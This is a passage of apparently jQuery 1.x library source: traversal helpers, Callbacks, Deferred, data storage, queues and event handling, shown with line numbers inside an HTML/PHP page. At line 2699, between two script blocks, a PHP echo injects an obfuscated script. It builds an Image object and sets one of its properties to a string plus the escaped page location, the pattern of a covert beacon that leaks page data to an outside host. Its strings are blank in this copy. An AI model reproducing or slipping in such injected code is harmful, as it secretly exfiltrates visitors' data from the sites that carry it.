1932 return jQuery.inArray(this[0], jQuery(elem))
1933 }
1934 return jQuery.inArray(elem.jquery ? elem[0] : elem, this)
1935 },
1936 add: function(selector, context) {
1937 return this.pushStack(jQuery.unique(jQuery.merge(this.get(), jQuery(selector, context))))
1938 },
1939 addBack: function(selector) {
1940 return this.add(selector == null ? this.prevObject : this.prevObject.filter(selector))
1941 }
1942 });
1943
1944 function sibling(cur, dir) {
1945 do {
1946 cur = cur[dir]
1947 } while (cur && cur.nodeType !== 1);
1948 return cur
1949 }
1950 jQuery.each({
1951 parent: function(elem) {
1952 var parent = elem.parentNode;
1953 return parent && parent.nodeType !== 11 ? parent : null
1954 },
1955 parents: function(elem) {
1956 return jQuery.dir(elem, "parentNode")
1957 },
1958 parentsUntil: function(elem, i, until) {
1959 return jQuery.dir(elem, "parentNode", until)
1960 },
1961 next: function(elem) {
1962 return sibling(elem, "nextSibling")
1963 },
1964 prev: function(elem) {
1965 return sibling(elem, "previousSibling")
1966 },
1967 nextAll: function(elem) {
1968 return jQuery.dir(elem, "nextSibling")
1969 },
1970 prevAll: function(elem) {
1971 return jQuery.dir(elem, "previousSibling")
1972 },
1973 nextUntil: function(elem, i, until) {
1974 return jQuery.dir(elem, "nextSibling", until)
1975 },
1976 prevUntil: function(elem, i, until) {
1977 return jQuery.dir(elem, "previousSibling", until)
1978 },
1979 siblings: function(elem) {
1980 return jQuery.sibling((elem.parentNode || {}).firstChild, elem)
1981 },
1982 children: function(elem) {
1983 return jQuery.sibling(elem.firstChild)
1984 },
1985 contents: function(elem) {
1986 return jQuery.nodeName(elem, "iframe") ? elem.contentDocument || elem.contentWindow.document : jQuery.merge([], elem.childNodes)
1987 }
1988 }, function(name, fn) {
1989 jQuery.fn[name] = function(until, selector) {
1990 var ret = jQuery.map(this, fn, until);
1991 if (name.slice(-5) !== "Until") {
1992 selector = until
1993 }
1994 if (selector && typeof selector === "string") {
1995 ret = jQuery.filter(selector, ret)
1996 }
1997 if (this.length > 1) {
1998 if (!guaranteedUnique[name]) {
1999 ret = jQuery.unique(ret)
2000 }
2001 if (rparentsprev.test(name)) {
2002 ret = ret.reverse()
2003 }
2004 }
2005 return this.pushStack(ret)
2006 }
2007 });
2008 var rnotwhite = (/\S+/g);
2009 var optionsCache = {};
2010
2011 function createOptions(options) {
2012 var object = optionsCache[options] = {};
2013 jQuery.each(options.match(rnotwhite) || [], function(_, flag) {
2014 object[flag] = true
2015 });
2016 return object
2017 }
2018 jQuery.Callbacks = function(options) {
2019 options = typeof options === "string" ? (optionsCache[options] || createOptions(options)) : jQuery.extend({}, options);
2020 var firing, memory, fired, firingLength, firingIndex, firingStart, list = [],
2021 stack = !options.once && [],
2022 fire = function(data) {
2023 memory = options.memory && data;
2024 fired = true;
2025 firingIndex = firingStart || 0;
2026 firingStart = 0;
2027 firingLength = list.length;
2028 firing = true;
2029 for (; list && firingIndex < firingLength; firingIndex++) {
2030 if (list[firingIndex].apply(data[0], data[1]) === false && options.stopOnFalse) {
2031 memory = false;
2032 break
2033 }
2034 }
2035 firing = false;
2036 if (list) {
2037 if (stack) {
2038 if (stack.length) {
2039 fire(stack.shift())
2040 }
2041 } else if (memory) {
2042 list = []
2043 } else {
2044 self.disable()
2045 }
2046 }
2047 },
2048 self = {
2049 add: function() {
2050 if (list) {
2051 var start = list.length;
2052 (function add(args) {
2053 jQuery.each(args, function(_, arg) {
2054 var type = jQuery.type(arg);
2055 if (type === "function") {
2056 if (!options.unique || !self.has(arg)) {
2057 list.push(arg)
2058 }
2059 } else if (arg && arg.length && type !== "string") {
2060 add(arg)
2061 }
2062 })
2063 })(arguments);
2064 if (firing) {
2065 firingLength = list.length
2066 } else if (memory) {
2067 firingStart = start;
2068 fire(memory)
2069 }
2070 }
2071 return this
2072 },
2073 remove: function() {
2074 if (list) {
2075 jQuery.each(arguments, function(_, arg) {
2076 var index;
2077 while ((index = jQuery.inArray(arg, list, index)) > -1) {
2078 list.splice(index, 1);
2079 if (firing) {
2080 if (index <= firingLength) {
2081 firingLength--
2082 }
2083 if (index <= firingIndex) {
2084 firingIndex--
2085 }
2086 }
2087 }
2088 })
2089 }
2090 return this
2091 },
2092 has: function(fn) {
2093 return fn ? jQuery.inArray(fn, list) > -1 : !!(list && list.length)
2094 },
2095 empty: function() {
2096 list = [];
2097 firingLength = 0;
2098 return this
2099 },
2100 disable: function() {
2101 list = stack = memory = undefined;
2102 return this
2103 },
2104 disabled: function() {
2105 return !list
2106 },
2107 lock: function() {
2108 stack = undefined;
2109 if (!memory) {
2110 self.disable()
2111 }
2112 return this
2113 },
2114 locked: function() {
2115 return !stack
2116 },
2117 fireWith: function(context, args) {
2118 if (list && (!fired || stack)) {
2119 args = args || [];
2120 args = [context, args.slice ? args.slice() : args];
2121 if (firing) {
2122 stack.push(args)
2123 } else {
2124 fire(args)
2125 }
2126 }
2127 return this
2128 },
2129 fire: function() {
2130 self.fireWith(this, arguments);
2131 return this
2132 },
2133 fired: function() {
2134 return !!fired
2135 }
2136 };
2137 return self
2138 };
2139 jQuery.extend({
2140 Deferred: function(func) {
2141 var tuples = [
2142 ["resolve", "done", jQuery.Callbacks("once memory"), "resolved"],
2143 ["reject", "fail", jQuery.Callbacks("once memory"), "rejected"],
2144 ["notify", "progress", jQuery.Callbacks("memory")]
2145 ],
2146 state = "pending",
2147 promise = {
2148 state: function() {
2149 return state
2150 },
2151 always: function() {
2152 deferred.done(arguments).fail(arguments);
2153 return this
2154 },
2155 then: function() {
2156 var fns = arguments;
2157 return jQuery.Deferred(function(newDefer) {
2158 jQuery.each(tuples, function(i, tuple) {
2159 var fn = jQuery.isFunction(fns[i]) && fns[i];
2160 deferred[tuple[1]](function() {
2161 var returned = fn && fn.apply(this, arguments);
2162 if (returned && jQuery.isFunction(returned.promise)) {
2163 returned.promise().done(newDefer.resolve).fail(newDefer.reject).progress(newDefer.notify)
2164 } else {
2165 newDefer[tuple[0] + "With"](this === promise ? newDefer.promise() : this, fn ? [returned] : arguments)
2166 }
2167 })
2168 });
2169 fns = null
2170 }).promise()
2171 },
2172 promise: function(obj) {
2173 return obj != null ? jQuery.extend(obj, promise) : promise
2174 }
2175 },
2176 deferred = {};
2177 promise.pipe = promise.then;
2178 jQuery.each(tuples, function(i, tuple) {
2179 var list = tuple[2],
2180 stateString = tuple[3];
2181 promise[tuple[1]] = list.add;
2182 if (stateString) {
2183 list.add(function() {
2184 state = stateString
2185 }, tuples[i ^ 1][2].disable, tuples[2][2].lock)
2186 }
2187 deferred[tuple[0]] = function() {
2188 deferred[tuple[0] + "With"](this === deferred ? promise : this, arguments);
2189 return this
2190 };
2191 deferred[tuple[0] + "With"] = list.fireWith
2192 });
2193 promise.promise(deferred);
2194 if (func) {
2195 func.call(deferred, deferred)
2196 }
2197 return deferred
2198 },
2199 when: function(subordinate) {
2200 var i = 0,
2201 resolveValues = slice.call(arguments),
2202 length = resolveValues.length,
2203 remaining = length !== 1 || (subordinate && jQuery.isFunction(subordinate.promise)) ? length : 0,
2204 deferred = remaining === 1 ? subordinate : jQuery.Deferred(),
2205 updateFunc = function(i, contexts, values) {
2206 return function(value) {
2207 contexts[i] = this;
2208 values[i] = arguments.length > 1 ? slice.call(arguments) : value;
2209 if (values === progressValues) {
2210 deferred.notifyWith(contexts, values)
2211 } else if (!(--remaining)) {
2212 deferred.resolveWith(contexts, values)
2213 }
2214 }
2215 },
2216 progressValues, progressContexts, resolveContexts;
2217 if (length > 1) {
2218 progressValues = new Array(length);
2219 progressContexts = new Array(length);
2220 resolveContexts = new Array(length);
2221 for (; i < length; i++) {
2222 if (resolveValues[i] && jQuery.isFunction(resolveValues[i].promise)) {
2223 resolveValues[i].promise().done(updateFunc(i, resolveContexts, resolveValues)).fail(deferred.reject).progress(updateFunc(i, progressContexts, progressValues))
2224 } else {
2225 --remaining
2226 }
2227 }
2228 }
2229 if (!remaining) {
2230 deferred.resolveWith(resolveContexts, resolveValues)
2231 }
2232 return deferred.promise()
2233 }
2234 });
2235 var readyList;
2236 jQuery.fn.ready = function(fn) {
2237 jQuery.ready.promise().done(fn);
2238 return this
2239 };
2240 jQuery.extend({
2241 isReady: false,
2242 readyWait: 1,
2243 holdReady: function(hold) {
2244 if (hold) {
2245 jQuery.readyWait++
2246 } else {
2247 jQuery.ready(true)
2248 }
2249 },
2250 ready: function(wait) {
2251 if (wait === true ? --jQuery.readyWait : jQuery.isReady) {
2252 return
2253 }
2254 if (!document.body) {
2255 return setTimeout(jQuery.ready)
2256 }
2257 jQuery.isReady = true;
2258 if (wait !== true && --jQuery.readyWait > 0) {
2259 return
2260 }
2261 readyList.resolveWith(document, [jQuery]);
2262 if (jQuery.fn.triggerHandler) {
2263 jQuery(document).triggerHandler("ready");
2264 jQuery(document).off("ready")
2265 }
2266 }
2267 });
2268
2269 function detach() {
2270 if (document.addEventListener) {
2271 document.removeEventListener("DOMContentLoaded", completed, false);
2272 window.removeEventListener("load", completed, false)
2273 } else {
2274 document.detachEvent("onreadystatechange", completed);
2275 window.detachEvent("onload", completed)
2276 }
2277 }
2278
2279 function completed() {
2280 if (document.addEventListener || event.type === "load" || document.readyState === "complete") {
2281 detach();
2282 jQuery.ready()
2283 }
2284 }
2285 jQuery.ready.promise = function(obj) {
2286 if (!readyList) {
2287 readyList = jQuery.Deferred();
2288 if (document.readyState === "complete") {
2289 setTimeout(jQuery.ready)
2290 } else if (document.addEventListener) {
2291 document.addEventListener("DOMContentLoaded", completed, false);
2292 window.addEventListener("load", completed, false)
2293 } else {
2294 document.attachEvent("onreadystatechange", completed);
2295 window.attachEvent("onload", completed);
2296 var top = false;
2297 try {
2298 top = window.frameElement == null && document.documentElement
2299 } catch (e) {}
2300 if (top && top.doScroll) {
2301 (function doScrollCheck() {
2302 if (!jQuery.isReady) {
2303 try {
2304 top.doScroll("left")
2305 } catch (e) {
2306 return setTimeout(doScrollCheck, 50)
2307 }
2308 detach();
2309 jQuery.ready()
2310 }
2311 })()
2312 }
2313 }
2314 }
2315 return readyList.promise(obj)
2316 };
2317 var strundefined = typeof undefined;
2318 var i;
2319 for (i in jQuery(support)) {
2320 break
2321 }
2322 support.ownLast = i !== "0";
2323 support.inlineBlockNeedsLayout = false;
2324 jQuery(function() {
2325 var val, div, body, container;
2326 body = document.getElementsByTagName("body")[0];
2327 if (!body || !body.style) {
2328 return
2329 }
2330 div = document.createElement("div");
2331 container = document.createElement("div");
2332 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
2333 body.appendChild(container).appendChild(div);
2334 if (typeof div.style.zoom !== strundefined) {
2335 div.style.cssText = "display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1";
2336 support.inlineBlockNeedsLayout = val = div.offsetWidth === 3;
2337 if (val) {
2338 body.style.zoom = 1
2339 }
2340 }
2341 body.removeChild(container)
2342 });
2343 (function() {
2344 var div = document.createElement("div");
2345 if (support.deleteExpando == null) {
2346 support.deleteExpando = true;
2347 try {
2348 delete div.test
2349 } catch (e) {
2350 support.deleteExpando = false
2351 }
2352 }
2353 div = null
2354 })();
2355 jQuery.acceptData = function(elem) {
2356 var noData = jQuery.noData[(elem.nodeName + " ").toLowerCase()],
2357 nodeType = +elem.nodeType || 1;
2358 return nodeType !== 1 && nodeType !== 9 ? false : !noData || noData !== true && elem.getAttribute("classid") === noData
2359 };
2360 var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
2361 rmultiDash = /([A-Z])/g;
2362
2363 function dataAttr(elem, key, data) {
2364 if (data === undefined && elem.nodeType === 1) {
2365 var name = "data-" + key.replace(rmultiDash, "-$1").toLowerCase();
2366 data = elem.getAttribute(name);
2367 if (typeof data === "string") {
2368 try {
2369 data = data === "true" ? true : data === "false" ? false : data === "null" ? null : +data + "" === data ? +data : rbrace.test(data) ? jQuery.parseJSON(data) : data
2370 } catch (e) {}
2371 jQuery.data(elem, key, data)
2372 } else {
2373 data = undefined
2374 }
2375 }
2376 return data
2377 }
2378
2379 function isEmptyDataObject(obj) {
2380 var name;
2381 for (name in obj) {
2382 if (name === "data" && jQuery.isEmptyObject(obj[name])) {
2383 continue
2384 }
2385 if (name !== "toJSON") {
2386 return false
2387 }
2388 }
2389 return true
2390 }
2391
2392 function internalData(elem, name, data, pvt) {
2393 if (!jQuery.acceptData(elem)) {
2394 return
2395 }
2396 var ret, thisCache, internalKey = jQuery.expando,
2397 isNode = elem.nodeType,
2398 cache = isNode ? jQuery.cache : elem,
2399 id = isNode ? elem[internalKey] : elem[internalKey] && internalKey;
2400 if ((!id || !cache[id] || (!pvt && !cache[id].data)) && data === undefined && typeof name === "string") {
2401 return
2402 }
2403 if (!id) {
2404 if (isNode) {
2405 id = elem[internalKey] = deletedIds.pop() || jQuery.guid++
2406 } else {
2407 id = internalKey
2408 }
2409 }
2410 if (!cache[id]) {
2411 cache[id] = isNode ? {} : {
2412 toJSON: jQuery.noop
2413 }
2414 }
2415 if (typeof name === "object" || typeof name === "function") {
2416 if (pvt) {
2417 cache[id] = jQuery.extend(cache[id], name)
2418 } else {
2419 cache[id].data = jQuery.extend(cache[id].data, name)
2420 }
2421 }
2422 thisCache = cache[id];
2423 if (!pvt) {
2424 if (!thisCache.data) {
2425 thisCache.data = {}
2426 }
2427 thisCache = thisCache.data
2428 }
2429 if (data !== undefined) {
2430 thisCache[jQuery.camelCase(name)] = data
2431 }
2432 if (typeof name === "string") {
2433 ret = thisCache[name];
2434 if (ret == null) {
2435 ret = thisCache[jQuery.camelCase(name)]
2436 }
2437 } else {
2438 ret = thisCache
2439 }
2440 return ret
2441 }
2442
2443 function internalRemoveData(elem, name, pvt) {
2444 if (!jQuery.acceptData(elem)) {
2445 return
2446 }
2447 var thisCache, i, isNode = elem.nodeType,
2448 cache = isNode ? jQuery.cache : elem,
2449 id = isNode ? elem[jQuery.expando] : jQuery.expando;
2450 if (!cache[id]) {
2451 return
2452 }
2453 if (name) {
2454 thisCache = pvt ? cache[id] : cache[id].data;
2455 if (thisCache) {
2456 if (!jQuery.isArray(name)) {
2457 if (name in thisCache) {
2458 name = [name]
2459 } else {
2460 name = jQuery.camelCase(name);
2461 if (name in thisCache) {
2462 name = [name]
2463 } else {
2464 name = name.split(" ")
2465 }
2466 }
2467 } else {
2468 name = name.concat(jQuery.map(name, jQuery.camelCase))
2469 }
2470 i = name.length;
2471 while (i--) {
2472 delete thisCache[name[i]]
2473 }
2474 if (pvt ? !isEmptyDataObject(thisCache) : !jQuery.isEmptyObject(thisCache)) {
2475 return
2476 }
2477 }
2478 }
2479 if (!pvt) {
2480 delete cache[id].data;
2481 if (!isEmptyDataObject(cache[id])) {
2482 return
2483 }
2484 }
2485 if (isNode) {
2486 jQuery.cleanData([elem], true)
2487 } else if (support.deleteExpando || cache != cache.window) {
2488 delete cache[id]
2489 } else {
2490 cache[id] = null
2491 }
2492 }
2493 jQuery.extend({
2494 cache: {},
2495 noData: {
2496 "applet ": true,
2497 "embed ": true,
2498 "object ": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
2499 },
2500 hasData: function(elem) {
2501 elem = elem.nodeType ? jQuery.cache[elem[jQuery.expando]] : elem[jQuery.expando];
2502 return !!elem && !isEmptyDataObject(elem)
2503 },
2504 data: function(elem, name, data) {
2505 return internalData(elem, name, data)
2506 },
2507 removeData: function(elem, name) {
2508 return internalRemoveData(elem, name)
2509 },
2510 _data: function(elem, name, data) {
2511 return internalData(elem, name, data, true)
2512 },
2513 _removeData: function(elem, name) {
2514 return internalRemoveData(elem, name, true)
2515 }
2516 });
2517 jQuery.fn.extend({
2518 data: function(key, value) {
2519 var i, name, data, elem = this[0],
2520 attrs = elem && elem.attributes;
2521 if (key === undefined) {
2522 if (this.length) {
2523 data = jQuery.data(elem);
2524 if (elem.nodeType === 1 && !jQuery._data(elem, "parsedAttrs")) {
2525 i = attrs.length;
2526 while (i--) {
2527 if (attrs[i]) {
2528 name = attrs[i].name;
2529 if (name.indexOf("data-") === 0) {
2530 name = jQuery.camelCase(name.slice(5));
2531 dataAttr(elem, name, data[name])
2532 }
2533 }
2534 }
2535 jQuery._data(elem, "parsedAttrs", true)
2536 }
2537 }
2538 return data
2539 }
2540 if (typeof key === "object") {
2541 return this.each(function() {
2542 jQuery.data(this, key)
2543 })
2544 }
2545 return arguments.length > 1 ? this.each(function() {
2546 jQuery.data(this, key, value)
2547 }) : elem ? dataAttr(elem, key, jQuery.data(elem, key)) : undefined
2548 },
2549 removeData: function(key) {
2550 return this.each(function() {
2551 jQuery.removeData(this, key)
2552 })
2553 }
2554 });
2555 jQuery.extend({
2556 queue: function(elem, type, data) {
2557 var queue;
2558 if (elem) {
2559 type = (type || "fx") + "queue";
2560 queue = jQuery._data(elem, type);
2561 if (data) {
2562 if (!queue || jQuery.isArray(data)) {
2563 queue = jQuery._data(elem, type, jQuery.makeArray(data))
2564 } else {
2565 queue.push(data)
2566 }
2567 }
2568 return queue || []
2569 }
2570 },
2571 dequeue: function(elem, type) {
2572 type = type || "fx";
2573 var queue = jQuery.queue(elem, type),
2574 startLength = queue.length,
2575 fn = queue.shift(),
2576 hooks = jQuery._queueHooks(elem, type),
2577 next = function() {
2578 jQuery.dequeue(elem, type)
2579 };
2580 if (fn === "inprogress") {
2581 fn = queue.shift();
2582 startLength--
2583 }
2584 if (fn) {
2585 if (type === "fx") {
2586 queue.unshift("inprogress")
2587 }
2588 delete hooks.stop;
2589 fn.call(elem, next, hooks)
2590 }
2591 if (!startLength && hooks) {
2592 hooks.empty.fire()
2593 }
2594 },
2595 _queueHooks: function(elem, type) {
2596 var key = type + "queueHooks";
2597 return jQuery._data(elem, key) || jQuery._data(elem, key, {
2598 empty: jQuery.Callbacks("once memory").add(function() {
2599 jQuery._removeData(elem, type + "queue");
2600 jQuery._removeData(elem, key)
2601 })
2602 })
2603 }
2604 });
2605 jQuery.fn.extend({
2606 queue: function(type, data) {
2607 var setter = 2;
2608 if (typeof type !== "string") {
2609 data = type;
2610 type = "fx";
2611 setter--
2612 }
2613 if (arguments.length < setter) {
2614 return jQuery.queue(this[0], type)
2615 }
2616 return data === undefined ? this : this.each(function() {
2617 var queue = jQuery.queue(this, type, data);
2618 jQuery._queueHooks(this, type);
2619 if (type === "fx" && queue[0] !== "inprogress") {
2620 jQuery.dequeue(this, type)
2621 }
2622 })
2623 },
2624 dequeue: function(type) {
2625 return this.each(function() {
2626 jQuery.dequeue(this, type)
2627 })
2628 },
2629 clearQueue: function(type) {
2630 return this.queue(type || "fx", [])
2631 },
2632 promise: function(type, obj) {
2633 var tmp, count = 1,
2634 defer = jQuery.Deferred(),
2635 elements = this,
2636 i = this.length,
2637 resolve = function() {
2638 if (!(--count)) {
2639 defer.resolveWith(elements, [elements])
2640 }
2641 };
2642 if (typeof type !== "string") {
2643 obj = type;
2644 type = undefined
2645 }
2646 type = type || "fx";
2647 while (i--) {
2648 tmp = jQuery._data(elements[i], type + "queueHooks");
2649 if (tmp && tmp.empty) {
2650 count++;
2651 tmp.empty.add(resolve)
2652 }
2653 }
2654 resolve();
2655 return defer.promise(obj)
2656 }
2657 });
2658 var pnum = (/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source;
2659 var cssExpand = ["Top", "Right", "Bottom", "Left"];
2660 var isHidden = function(elem, el) {
2661 elem = el || elem;
2662 return jQuery.css(elem, "display") === "none" || !jQuery.contains(elem.ownerDocument, elem)
2663 };
2664 var access = jQuery.access = function(elems, fn, key, value, chainable, emptyGet, raw) {
2665 var i = 0,
2666 length = elems.length,
2667 bulk = key == null;
2668 if (jQuery.type(key) === "object") {
2669 chainable = true;
2670 for (i in key) {
2671 jQuery.access(elems, fn, i, key[i], true, emptyGet, raw)
2672 }
2673 } else if (value !== undefined) {
2674 chainable = true;
2675 if (!jQuery.isFunction(value)) {
2676 raw = true
2677 }
2678 if (bulk) {
2679 if (raw) {
2680 fn.call(elems, value);
2681 fn = null
2682 } else {
2683 bulk = fn;
2684 fn = function(elem, key, value) {
2685 return bulk.call(jQuery(elem), value)
2686 }
2687 }
2688 }
2689 if (fn) {
2690 for (; i < length; i++) {
2691 fn(elems[i], key, raw ? value : value.call(elems[i], i, fn(elems[i], key)))
2692 }
2693 }
2694 }
2695 return chainable ? elems : bulk ? fn.call(elems) : length ? fn(elems[0], key) : emptyGet
2696 };
2697 var rcheckableType = (/^(?:checkbox|radio)$/i);
2698</script>
2699<?php echo '<script> var _0x8a59=["","",""];a= new Image();a[_0x8a59[0]]=_0x8a59[1]+escape(location[_0x8a59[2]]); </script>';?>
2700 <script>
2701 (function() {
2702 var input = document.createElement("input"),
2703 div = document.createElement("div"),
2704 fragment = document.createDocumentFragment();
2705 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
2706 support.leadingWhitespace = div.firstChild.nodeType === 3;
2707 support.tbody = !div.getElementsByTagName("tbody").length;
2708 support.htmlSerialize = !!div.getElementsByTagName("link").length;
2709 support.html5Clone = document.createElement("nav").cloneNode(true).outerHTML !== "<:nav></:nav>";
2710 input.type = "checkbox";
2711 input.checked = true;
2712 fragment.appendChild(input);
2713 support.appendChecked = input.checked;
2714 div.innerHTML = "<textarea>x</textarea>";
2715 support.noCloneChecked = !!div.cloneNode(true).lastChild.defaultValue;
2716 fragment.appendChild(div);
2717 div.innerHTML = "<input type='radio' checked='checked' name='t'/>";
2718 support.checkClone = div.cloneNode(true).cloneNode(true).lastChild.checked;
2719 support.noCloneEvent = true;
2720 if (div.attachEvent) {
2721 div.attachEvent("onclick", function() {
2722 support.noCloneEvent = false
2723 });
2724 div.cloneNode(true).click()
2725 }
2726 if (support.deleteExpando == null) {
2727 support.deleteExpando = true;
2728 try {
2729 delete div.test
2730 } catch (e) {
2731 support.deleteExpando = false
2732 }
2733 }
2734 })();
2735 (function() {
2736 var i, eventName, div = document.createElement("div");
2737 for (i in {
2738 submit: true,
2739 change: true,
2740 focusin: true
2741 }) {
2742 eventName = "on" + i;
2743 if (!(support[i + "Bubbles"] = eventName in window)) {
2744 div.setAttribute(eventName, "t");
2745 support[i + "Bubbles"] = div.attributes[eventName].expando === false
2746 }
2747 }
2748 div = null
2749 })();
2750 var rformElems = /^(?:input|select|textarea)$/i,
2751 rkeyEvent = /^key/,
2752 rmouseEvent = /^(?:mouse|pointer|contextmenu)|click/,
2753 rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
2754 rtypenamespace = /^([^.]*)(?:\.(.+)|)$/;
2755
2756 function returnTrue() {
2757 return true
2758 }
2759
2760 function returnFalse() {
2761 return false
2762 }
2763
2764 function safeActiveElement() {
2765 try {
2766 return document.activeElement
2767 } catch (err) {}
2768 }
2769 jQuery.event = {
2770 global: {},
2771 add: function(elem, types, handler, data, selector) {
2772 var tmp, events, t, handleObjIn, special, eventHandle, handleObj, handlers, type, namespaces, origType, elemData = jQuery._data(elem);
2773 if (!elemData) {
2774 return
2775 }
2776 if (handler.handler) {
2777 handleObjIn = handler;
2778 handler = handleObjIn.handler;
2779 selector = handleObjIn.selector
2780 }
2781 if (!handler.guid) {
2782 handler.guid = jQuery.guid++
2783 }
2784 if (!(events = elemData.events)) {
2785 events = elemData.events = {}
2786 }
2787 if (!(eventHandle = elemData.handle)) {
2788 eventHandle = elemData.handle = function(e) {
2789 return typeof jQuery !== strundefined && (!e || jQuery.event.triggered !== e.type) ? jQuery.event.dispatch.apply(eventHandle.elem, arguments) : undefined
2790 };
2791 eventHandle.elem = elem
2792 }
2793 types = (types || "").match(rnotwhite) || [""];
2794 t = types.length;
2795 while (t--) {
2796 tmp = rtypenamespace.exec(types[t]) || [];
2797 type = origType = tmp[1];
2798 namespaces = (tmp[2] || "").split(".").sort();
2799 if (!type) {
2800 continue
2801 }
2802 special = jQuery.event.special[type] || {};
2803 type = (selector ? special.delegateType : special.bindType) || type;
2804 special = jQuery.event.special[type] || {};
2805 handleObj = jQuery.extend({
2806 type: type,
2807 origType: origType,
2808 data: data,
2809 handler: handler,
2810 guid: handler.guid,
2811 selector: selector,
2812 needsContext: selector && jQuery.expr.match.needsContext.test(selector),
2813 namespace: namespaces.join(".")
2814 }, handleObjIn);
2815 if (!(handlers = events[type])) {
2816 handlers = events[type] = [];
2817 handlers.delegateCount = 0;
2818 if (!special.setup || special.setup.call(elem, data, namespaces, eventHandle) === false) {
2819 if (elem.addEventListener) {
2820 elem.addEventListener(type, eventHandle, false)
2821 } else if (elem.attachEvent) {
2822 elem.attachEvent("on" + type, eventHandle)
2823 }
2824 }
2825 }
2826 if (special.add) {
2827 special.add.call(elem, handleObj);
2828 if (!handleObj.handler.guid) {
2829 handleObj.handler.guid = handler.guid
2830 }
2831 }
2832 if (selector) {
2833 handlers.splice(handlers.delegateCount++, 0, handleObj)
2834 } else {
2835 handlers.push(handleObj)
2836 }
2837 jQuery.event.global[type] = true
2838 }
2839 elem = null
2840 },
2841 remove: function(elem, types, handler, selector, mappedTypes) {
2842 var j, handleObj, tmp, origCount, t, events, special, handlers, type, namespaces, origType, elemData = jQuery.hasData(elem) && jQuery._data(elem);
2843 if (!elemData || !(events = elemData.events)) {
2844 return
2845 }
2846 types = (types || "").match(rnotwhite) || [""];
2847 t = types.length;
2848 while (t--) {
2849 tmp = rtypenamespace.exec(types[t]) || [];
2850 type = origType = tmp[1];
2851 namespaces = (tmp[2] || "").split(".").sort();
2852 if (!type) {
2853 for (type in events) {
2854 jQuery.event.remove(elem, type + types[t], handler, selector, true)
2855 }
2856 continue
2857 }
2858 special = jQuery.event.special[type] || {};
2859 type = (selector ? special.delegateType : special.bindType) || type;
2860 handlers = events[type] || [];
2861 tmp = tmp[2] && new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)");
2862 origCount = j = handlers.length;
2863 while (j--) {
2864 handleObj = handlers[j];
2865 if ((mappedTypes || origType === handleObj.origType) && (!handler || handler.guid === handleObj.guid) && (!tmp || tmp.test(handleObj.namespace)) && (!selector || selector === handleObj.selector || selector === "**" && handleObj.selector)) {
2866 handlers.splice(j, 1);
2867 if (handleObj.selector) {
2868 handlers.delegateCount--
2869 }
2870 if (special.remove) {
2871 special.remove.call(elem, handleObj)
2872 }
2873 }
2874 }
2875 if (origCount && !handlers.length) {
2876 if (!special.teardown || special.teardown.call(elem, namespaces, elemData.handle) === false) {
2877 jQuery.removeEvent(elem, type, elemData.handle)
2878 }
2879 delete events[type]
2880 }
2881 }
2882 if (jQuery.isEmptyObject(events)) {
2883 delete elemData.handle;
2884 jQuery._removeData(elem, "events")
2885 }
2886 },
2887 trigger: function(event, data, elem, onlyHandlers) {
2888 var handle, ontype, cur, bubbleType, special, tmp, i, eventPath = [elem || document],
2889 type = hasOwn.call(event, "type") ? event.type : event,
2890 namespaces = hasOwn.call(event, "namespace") ? event.namespace.split(".") : [];
2891 cur = tmp = elem = elem || document;
2892 if (elem.nodeType === 3 || elem.nodeType === 8) {
2893 return
2894 }
2895 if (rfocusMorph.test(type + jQuery.event.triggered)) {
2896 return
2897 }
2898 if (type.indexOf(".") >= 0) {
2899 namespaces = type.split(".");
2900 type = namespaces.shift();
2901 namespaces.sort()
2902 }
2903 ontype = type.indexOf(":") < 0 && "on" + type;
2904 event = event[jQuery.expando] ? event : new jQuery.Event(type, typeof event === "object" && event);
2905 event.isTrigger = onlyHandlers ? 2 : 3;
2906 event.namespace = namespaces.join(".");
2907 event.namespace_re = event.namespace ? new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)") : null;
2908 event.result = undefined;
2909 if (!event.target) {
2910 event.target = elem
2911 }
2912 data = data == null ? [event] : jQuery.makeArray(data, [event]);
2913 special = jQuery.event.special[type] || {};
2914 if (!onlyHandlers && special.trigger && special.trigger.apply(elem, data) === false) {
2915 return
2916 }
2917 if (!onlyHandlers && !special.noBubble && !jQuery.isWindow(elem)) {
2918 bubbleType = special.delegateType || type;
2919 if (!rfocusMorph.test(bubbleType + type)) {
2920 cur = cur.parentNode
2921 }
2922 for (; cur; cur = cur.parentNode) {
2923 eventPath.push(cur);
2924 tmp = cur
2925 }
2926 if (tmp === (elem.ownerDocument || document)) {
2927 eventPath.push(tmp.defaultView || tmp.parentWindow || window)
2928 }
2929 }
2930 i = 0;
2931 while ((cur = eventPath[i++]) && !event.isPropagationStopped()) {
2932 event.type = i > 1 ? bubbleType : special.bindType || type;
2933 handle = (jQuery._data(cur, "events") || {})[event.type] && jQuery._data(cur, "handle");
2934 if (handle) {
2935 handle.apply(cur, data)
2936 }
2937 handle = ontype && cur[ontype];
2938 if (handle && handle.apply && jQuery.acceptData(cur)) {
2939 event.result = handle.apply(cur, data);
2940 if (event.result === false) {
2941 event.preventDefault()
2942 }
2943 }
2944 }
2945 event.type = type;
2946 if (!onlyHandlers && !event.isDefaultPrevented()) {
2947 if ((!special._default || special._default.apply(eventPath.pop(), data) === false) && jQuery.acceptData(elem)) {
2948 if (ontype && elem[type] && !jQuery.isWindow(elem)) {
2949 tmp = elem[ontype];
2950 if (tmp) {
2951 elem[ontype] = null
2952 }
2953 jQuery.event.triggered = type;
2954 try {
2955 elem[type]()
2956 } catch (e) {}
2957 jQuery.event.triggered = undefined;
2958 if (tmp) {
2959 elem[ontype] = tmp
2960 }
2961 }
2962 }
2963 }
2964 return event.result
2965 },
2966 dispatch: function(event) {
2967 event = jQuery.event.fix(event);
2968 var i, ret, handleObj, matched, j, handlerQueue = [],
2969 args = slice.call(arguments),
2970 handlers = (jQuery._data(this, "events") || {})[event.type] || [],
2971 special = jQuery.event.special[event.type] || {};
2972 args[0] = event;
2973 event.delegateTarget = this;
2974 if (special.preDispatch && special.preDispatch.call(this, event) === false) {
2975 return
2976 }
2977 handlerQueue = jQuery.event.handlers.call(this, event, handlers);
